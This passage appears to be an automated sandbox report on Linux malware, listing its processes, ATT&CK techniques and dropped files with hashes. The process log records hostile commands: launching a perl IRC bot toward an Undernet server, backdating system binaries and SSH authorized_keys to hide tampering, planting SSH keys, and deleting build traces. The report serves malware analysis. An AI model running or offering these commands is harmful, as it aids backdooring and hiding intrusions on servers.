  perl bot irc.undernet.org 6667 -bash
  2⤵
  - Changes its process name
  PID:1587
- /usr/bin/touch
  touch -d "Dec 1 2018" /root/.ssh /root/.ssh/authorized_keys /bin/bash /bin/brltty /bin/bunzip2 /bin/busybox /bin/bzcat /bin/bzcmp /bin/bzdiff /bin/bzegrep /bin/bzexe /bin/bzfgrep /bin/bzgrep /bin/bzip2 /bin/bzip2recover /bin/bzless /bin/bzmore /bin/cat /bin/chacl /bin/chgrp /bin/chmod /bin/chown /bin/chvt /bin/clean /bin/cls /bin/cp /bin/cpio /bin/dash /bin/date /bin/dd /bin/df /bin/dir /bin/dmesg /bin/dnsdomainname /bin/domainname /bin/dumpkeys /bin/echo /bin/ed /bin/efibootdump /bin/efibootmgr /bin/egrep /bin/false /bin/fgconsole /bin/fgrep /bin/findmnt /bin/fuser /bin/fusermount /bin/getfacl /bin/grep /bin/gunzip /bin/gzexe /bin/gzip /bin/hciconfig /bin/hostname /bin/ip /bin/journalctl /bin/kbd_mode /bin/kill /bin/kmod /bin/less /bin/lessecho /bin/lessfile /bin/lesskey /bin/lesspipe /bin/ln /bin/loadkeys /bin/login /bin/loginctl /bin/lowntfs-3g /bin/ls /bin/lsblk /bin/lsmod /bin/mkdir /bin/mknod /bin/mktemp /bin/more /bin/mount /bin/mountpoint /bin/mt /bin/mt-gnu /bin/mv /bin/nano /bin/nc /bin/nc.openbsd /bin/netcat /bin/networkctl /bin/nisdomainname /bin/ntfs-3g /bin/ntfs-3g.probe /bin/ntfscat /bin/ntfscluster /bin/ntfscmp /bin/ntfsfallocate /bin/ntfsfix /bin/ntfsinfo /bin/ntfsls /bin/ntfsmove /bin/ntfsrecover /bin/ntfssecaudit /bin/ntfstruncate /bin/ntfsusermap /bin/ntfswipe /bin/open /bin/openvt /bin/pidof /bin/ping /bin/ping4 /bin/ping6 /bin/plymouth /bin/ps /bin/pwd /bin/rbash /bin/readlink /bin/red /bin/rm /bin/rmdir /bin/rnano /bin/run-parts /bin/sed /bin/setfacl /bin/setfont /bin/setupcon /bin/sh /bin/sh.distrib /bin/sleep /bin/ss /bin/static-sh /bin/stty /bin/su /bin/sync /bin/systemctl /bin/systemd /bin/systemd-ask-password /bin/systemd-escape /bin/systemd-hwdb /bin/systemd-inhibit /bin/systemd-machine-id-setup /bin/systemd-notify /bin/systemd-sysusers /bin/systemd-tmpfiles /bin/systemd-tty-ask-password-agent /bin/tar /bin/tempfile /bin/touch /bin/true /bin/udevadm /bin/ulockmgr_server /bin/umount /bin/uname /bin/uncompress /bin/unicode_start /bin/vdir /bin/wdctl /bin/which /bin/whiptail /bin/ypdomainname /bin/zcat /bin/zcmp /bin/zdiff /bin/zegrep /bin/zfgrep /bin/zforce /bin/zgrep /bin/zless /bin/zmore /bin/znew /bin/.ssh/authorized_keys /bin /boot /dev /etc /home /initrd.img /initrd.img.old /lib /lib64 /lost+found /media /mnt /opt /proc /root /run /sbin /snap /srv /swapfile /sys /tmp /usr /var /vmlinuz /vmlinuz.old /sbin/acpi_available /sbin/agetty /sbin/alsa /sbin/apm_available /sbin/apparmor_parser /sbin/audispd /sbin/auditctl /sbin/auditd /sbin/augenrules /sbin/aureport /sbin/ausearch /sbin/autrace /sbin/badblocks /sbin/blkdeactivate /sbin/blkdiscard /sbin/blkid /sbin/blockdev /sbin/bridge /sbin/brltty /sbin/brltty-setup /sbin/capsh /sbin/cfdisk /sbin/cgdisk /sbin/chcpu /sbin/crda /sbin/ctrlaltdel /sbin/debugfs /sbin/depmod /sbin/devlink /sbin/dhclient /sbin/dhclient-script /sbin/dmsetup /sbin/dmstats /sbin/dosfsck /sbin/dosfslabel /sbin/dumpe2fs /sbin/e2fsck /sbin/e2image /sbin/e2label /sbin/e2undo /sbin/fatlabel /sbin/fdisk /sbin/findfs /sbin/fixfiles /sbin/fixparts /sbin/fsck /sbin/fsck.cramfs /sbin/fsck.ext2 /sbin/fsck.ext3 /sbin/fsck.ext4 /sbin/fsck.fat /sbin/fsck.minix /sbin/fsck.msdos /sbin/fsck.vfat /sbin/fsfreeze /sbin/fstab-decode /sbin/fstrim /sbin/gdisk /sbin/getcap /sbin/getpcaps /sbin/getty /sbin/halt /sbin/hdparm /sbin/hwclock /sbin/ifdown /sbin/ifquery /sbin/ifup /sbin/init /sbin/insmod /sbin/installkernel /sbin/ip /sbin/ip6tables /sbin/ip6tables-restore /sbin/ip6tables-save /sbin/iptables /sbin/iptables-restore /sbin/iptables-save /sbin/isosize /sbin/iw /sbin/iwconfig /sbin/iwevent /sbin/iwgetid /sbin/iwlist /sbin/iwpriv /sbin/iwspy /sbin/kbdrate /sbin/killall5 /sbin/ldconfig /sbin/ldconfig.real /sbin/load_policy /sbin/logsave /sbin/losetup /sbin/lsmod /sbin/lspcmcia /sbin/mkdosfs /sbin/mke2fs /sbin/mkfs /sbin/mkfs.bfs /sbin/mkfs.cramfs /sbin/mkfs.ext2 /sbin/mkfs.ext3 /sbin/mkfs.ext4 /sbin/mkfs.fat /sbin/mkfs.minix /sbin/mkfs.msdos /sbin/mkfs.ntfs /sbin/mkfs.vfat /sbin/mkhomedir_helper /sbin/mkntfs /sbin/mkswap /sbin/modinfo /sbin/modprobe /sbin/mount.fuse /sbin/mount.lowntfs-3g /sbin/mount.ntfs /sbin/mount.ntfs-3g /sbin/nologin /sbin/ntfsclone /sbin/ntfscp /sbin/ntfslabel /sbin/ntfsresize /sbin/ntfsundelete /sbin/on_ac_power /sbin/pam_extrausers_chkpwd /sbin/pam_extrausers_update /sbin/pam_tally /sbin/pam_tally2 /sbin/parted /sbin/partprobe /sbin/pccardctl /sbin/pivot_root /sbin/plymouthd /sbin/poweroff /sbin/raw /sbin/reboot /sbin/regdbdump /sbin/resize2fs /sbin/restorecon /sbin/restorecon_xattr /sbin/rmmod /sbin/rtacct /sbin/rtmon /sbin/runlevel /sbin/runuser /sbin/setcap /sbin/setfiles /sbin/setvtrgb /sbin/sfdisk /sbin/sgdisk /sbin/shadowconfig /sbin/shutdown /sbin/start-stop-daemon /sbin/sulogin /sbin/swaplabel /sbin/swapoff /sbin/swapon /sbin/switch_root /sbin/sysctl /sbin/tc /sbin/telinit /sbin/tipc /sbin/tune2fs /sbin/u-d-c-print-pci-ids /sbin/udevadm /sbin/uid /sbin/umount.udisks2 /sbin/unix_chkpwd /sbin/unix_update /sbin/ureadahead /sbin/wipefs /sbin/wpa_action /sbin/wpa_cli /sbin/wpa_supplicant /sbin/xtables-multi /sbin/zramctl
  2⤵
  - Adds new SSH keys
  - Writes file to system bin folder
  PID:1589
- /bin/rm
  rm -rf a.c ".reboot*" a.c clean.c cls.c ping.c "scan*" distro go "go.tgz*" cls.c clean.c bot ping.c go "wz*"
  2⤵
  PID:1590

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Hijack Execution Flow

T1574

Privilege Escalation

Hijack Execution Flow

T1574

Defense Evasion

Hijack Execution Flow

T1574

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/bin/.ssh/authorized_keys

Filesize
381B

MD5
fada28f9405c20320d0169f7549137da

SHA1
53f934539664a6e2c0ef06317b8518385e1272aa

SHA256
e962c1d303f7d1b24325d7e8165e7b3c157455c07d666af1a5bfce4e6bcb8640

SHA512
caf57f3fef4eccef88a83c74ec9b53ffffe52bfc6ba809957991beedebf581f427994a59bdec5cb9e5c9b361e6c646501f952d7941acc4ef90721f7bc6399784

Download Submit
/bin/clean

Filesize
27KB

MD5
40c5882e66b86c06d2beb88300622584

SHA1
352be2965f2d0f2383e8beed402984a1ca1e97f8

SHA256
58af2ca68d9ddc53475e465b100138723e7d06201aab3d95a3de6e59379654b9

SHA512
328c464dede1f6ef8be9cec013ecc1fe779c80ab1f105f1bef49994c11743ec815a185006960e38eb3b1f383d727b1928ab55c15d9d75d961fdf2587df158e2f

Download Submit
/bin/cls

Filesize
25KB

MD5
294a26b5d2f08ca41f91db35a75fbf27

SHA1
a93196d3461a86d15d2fd62df1ea558a9f9f3ccc

SHA256
67825cc66c6b5848b4211b3eaf03dd3d9dd949495d601143527fe36c5d30da45

SHA512
eace54d1e5ac7ee92c6e20d484c6061d1eebc6cbcbae14be5ed76cf7f84702e701a0189c8a9eb2f5f68d50e1dad206129bffa992b19b13a73b61d9600d98857e

Download Submit
/bin/false

Filesize
1.1MB

MD5
d5d689ba6020abe746c52ae7438d9eb2

SHA1
0a4ece3b3c332c39922b8d521c8f2087e9cf22b6

SHA256
15d4469eb3da716fefcc0c395a5b1d1657ad0555ec3ae623e727bb0dfcee19cf

SHA512
ae2459b496385844c20813e8fdc6c227facc6b16cd1bfcc467eb61309cb8316b5dc44d66c13de1a7a1c248a546654bc51128f6d1f2f8bb92f7e9f1898cec415e

Download Submit
/bin/ping6

Filesize
8KB

MD5
4a2202db26706f2c0c9db06f1929ab5f

SHA1
3ceea4dfd072372b476cfe9bad9bbfbc6a92cb9d

SHA256
077e28bfede2b43473f263a70a5b5001f5a30025e60de7a3d448a20064610492

SHA512
4eff68a1105f3efb0cc84f0191ea7a08505dc5e0f4aac0b7d5c245fb49fbb2315e2e3a0a1da9825d2e6ed6a96c39cbe22a5b8c47f00908ea596af21916cccbc9

Download Submit
/etc/group+

Filesize
922B

MD5
cfe7da51510645ddd88cc4781e6839ed

SHA1
30706ccf238a01a64e237672c546e91e75ed52d6

SHA256
2b24977c153b57555bdb5e1c7ece5e532df92e2a811d3575dd643d5e992d459a

SHA512
39790a72faf60cb9731a33affc052b83934d211ac4f2bb2d7c6ae6a48f4f4f9b3f4fb4a3f152e7bdd23df283078c4969be46ac5f0c2bc2a3adea9d0681890746

Download Submit
/etc/group+

Filesize
926B

MD5
b9caef0a3c0e738930bb533e2b4de46d

SHA1
527a11b3219d21d38c9c130e480a86a021c85240

SHA256
38ba7843bf04797e743650abb5c094a2b5268c7a591dcd9032e90fa1faf1448a

SHA512
98b193b63e7c50e3ab39a4d5296aa9de464a2e13a2ad192732314e3e4d7a4b0e9c7f835721064492242e912a46750badcd70a28938177bd55cb4f8fbeb2e4bf4

Download Submit
/etc/group+

Filesize
926B

MD5
bfea8a0d89312a3f0b44c86b107effc8

SHA1
3ae93d52b2e7a54ca9a3756eacc0a6016e5c86fa

SHA256
c891ae5f762a1062c2b262531c5ce2d2ca3603064d8b27499a83fe59b57669b2

SHA512
b97ac758c54f4915095233683cde101e61caa1c8928d9817c43d4d6d90aeee5f1821c77397f37561665de52dfff6cdd28d65914c36578ece5c38960d7d88d3fc

Download Submit
/etc/group+

Filesize
927B

MD5
6ec7f1cdf5f0254ceb1dcb8d9c233989

SHA1
4d7af2a62158ceba0bda4f56d2d164422e0194c2

SHA256
979f50b720f28b12e200071f11dd0e3f9813b74e44da197f177c952fc4cd89fb

SHA512
1d4e1a052ab3a60f050d493fb7db63a1acc9165ee7d5f0f5af54c53179aa3e6b303acb1022bcb2d5708e5776e6b4b5804b7f16309e0379d80a61bf649d8103cb

Download Submit
/etc/gshadow+

Filesize
768B

MD5
967e95931faad7337ff6c031909ae06c

SHA1
e4a090aefe24b329129e6083d98ca545b560534c

SHA256
ad9cf85eee9ce15e270e4e31f8fe8cb071e2a86aa9fec263acb416e30653034b

SHA512
5b236c975e2cf74d975cfab9c279f1e7a2c2035691da5728ea7a8031efb0f1bf8c4005a0146965807e9cb6645656b1d20ade7455855c1bd054fb2f0d34c46a4d

Download Submit
/etc/gshadow+

Filesize
772B

MD5
0894d94d639d54f24d1237ddb13a3526

SHA1
32d4d70ab24aa68d23d22c2641aba01ece4f15c0

SHA256
4d410d679e2ac37d4f329d00ee187fedb90cbbcc2429f69fd711d42104299528

SHA512
ace67dc2d7e374cf0ccc701918706c7073fcf30ea9a1c426e66e23963d9b10a4eea3e58d91038f8b2f02e41f87e008d70cce82c09a6bbed4d57805eefd21eaa9

Download Submit
/etc/gshadow+

Filesize
772B

MD5
8d85a027e452e3f0114c7641b9e9a5c9

SHA1
7bfeb2c9715f310d1c405fd17a34dc06235ab7d1

SHA256
60cc24ad29a1d427049a31ec52eeffe6e26920590995f1f0acc8e4c006429d49

SHA512
207c641c2c40faf1465eb284d972b8049615ecd6e967fce819de4625afc10101a29ff32eaacf5af2da845613b381a4cc04f68a6a0d63b818046b14b5c81242a7

Download Submit
/etc/gshadow+

Filesize
773B

MD5
60bbb33ef8919d0780a6360b4f9f73ba

SHA1
5fdd40beb4ed82bb2156b67300e7d9bf5f7154d2

SHA256
25e6518fea3394cc283e0756fffe04ac9815ad8ee79d280b61e5788d9e4e0083

SHA512
69561c145acb1bf5cca2387f7543b965fa9b0bbb2e3c57a86c2be326a9c00275234f1809ee6b7ad769022e53cf3ab542a50668249dcf8b1e24682a354dc0fe5d

Download Submit
/tmp/cc60RVN9.o

Filesize
27KB

MD5
372cbf030f74599ed9dd4f276a566dd9

SHA1
14e424ca27f08a2445feed23b9e3a0cac1e05866

SHA256
6e170d65d4d9e62b705b6e40d9d9fc2b1a87056ba876d7dc703b691eb3d72e3c

SHA512
245a27c789d99e4ad4c114d3f37ebfad53826ed0328d0c6691d4e19a249953bd7fcaad70ca2c49b5a4ed5e8bf33c9ee601ddcb519baf19a6db5bcfccf4c14ee3

Download Submit
/tmp/ccBTdOip.s

Filesize
40KB

MD5
af0c13ef1744a62fe9b4166e0b4c2412

SHA1
46bfca948a1bf7792421f38d5dc4bb7d3a9ce7b6

SHA256
6cf0d706777eda684746bf28535367c8928bd5a76e81d07cde16a6e4ca46a5e4

SHA512
3096fc8785abf2e411ca6e96fee269baf98def71764dcf2429e7b7decd9311479be0aca33ad7332c968e97258e9e72f5c8649752e1dc453f797b3e719b9092d3

Download Submit
/tmp/ccYZMEF1.o

Filesize
25KB

MD5
4b0279911d1ff0180d3beeb84838a67c

SHA1
f504ae4ca78c7be8153fccca63ed078f7df23079

SHA256
b11bf0222d951c9383dde1dc622aecbf90e2f7747d5679c3c1aa094a5344e41b

SHA512
ca068420d8389baa8f57af009477a35a60012de86f68c04c29badf722361a65c2b049e076b92ed66702466da1e5ae1ad1a068e8d8960577ca8a96886f211ff54

Download Submit
/tmp/ccgk9nTw.s

Filesize
49KB

MD5
daf7135920cf841fc666420bba1d7920

SHA1
05cabb304c1abd7b3657e366c9cbfd4bd28c683a

SHA256
d5ec781a27f54fa80230cde9de20858f77991556b0c22f48b60257cbcd5ca99e

SHA512
b2d8a097e99c8afa76278345ac4d2c3671e8294ada0db6ab6b3f8d6f2232abd0f2d06084f7f74bfaf9abea1947e8b8cab0a3c77dcf0e528280c679b411c8c01d

Download Submit
/tmp/cckIeegT.s

Filesize
83KB

MD5
763e2957742ffcadc7791f39048e413d

SHA1
349238df75e2f6d1c5115ed35e2cfb67209b2bae

SHA256
7e86b7ceed91d0ca6a7e21123b0ddcf01d7105d1dd3ca886affe8172f3ec6636

SHA512
a22ee9d0c1e81b183eaf28be5b02cf85c1cfd77bb3b8ea22094031fdcdce810c9cbab31a671ec61f6a3f38032f3b411f74e667ac1fd3d83eef34f4bdc66276d3

Download Submit
/tmp/ccmYB5TW.o

Filesize
1KB

MD5
95a50013ca531abbb740cee170a453a1

SHA1
967ffa22b761e886f0e2327beb4d6f4659c89ed8

SHA256
b5b608b46767669f21e4d77ba14fd21d050bf4cbbb63f0d169a3c3574a339bfe

SHA512
d0022542da013750ed0533878ed87cdf862e95f8cfc8294b2ab279fb02887945dcc6c9aa8c40347f03c445306b137f510658308da3bc1b7babd999fc6a92fe71

Download Submit
/tmp/ccpoS91k.s

Filesize
627B

MD5
2fea0a3e3718fc4084c26aa816f50935

SHA1
2b09bfdeb37a61431832d39614e5173ae7e776d0

SHA256
0afdbf3377230e88d0653f6a536c28f0b798a30534c27d28368144457376f5ee

SHA512
93d1e716aafaf4d3c7f07ad7e57b910cef3472a820be74c007f2d9273dbdef8eb248b2a74c565feda1acac354c3c4c9fa64f3acc9914a3a71286593655f6e03a

Download Submit
/tmp/ccsCi7eu.o

Filesize
41KB

MD5
5c2e70e0ae5438310fcc1d1ded69f2fa

SHA1
667e71de2d73a5cdd53d8b623fb28adafff997ff

SHA256
740c9d6fcfadcadad5a4f5d8721c6a1a590eea0a30d667411f561784d912fdb3

SHA512
9f9f8f58afaa3f6e2c4453e1d442907a9de35d7aaa818c519d1f7344ed8813d8ad18d937b565322ea9f187650cf8f9d3dbf9429e88062be3625e8fbb0bad7a56

Download Submit
/usr/games/.ssh/authorized_keys

Filesize
798B

MD5
df68371284ae3082d169b9a843a529ee

SHA1
47e3b406522459c3c65baf385d8fb43dfd5184bd

SHA256
913a3d3340f173664503ff9293fcb8a4bf8d57146e03ea0dd94864e6c8b6c995

SHA512
ea34929620f3bfe518711a9d5d7ac30d5d8306ffce0257f729f951e16e8abc35eb8d541ffc8a61e92b7f0e592f05638e0d7dc6f7718e0c82b74fdd0b2e39953f

Download Submit
/usr/share/man/man1/kwk

Filesize
40KB

MD5
f2d975dc83e0f6b356143d1fece2dfbf

SHA1
20c6bd6c5ea6cf9677737af1e912441756f0e249

SHA256
b2ef18e4308dcca9c75b4d7ae002976da27903c19757b5ac78826ae8308b7fd8

SHA512
9bfcb7b8d5a06dd275ebaa61763c6a69567e4062bc2e75e74a58aba5e3283b6c56056a3065619a23736532e45272e3e67792ec1430b95c75ad952de7c2fed4af

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads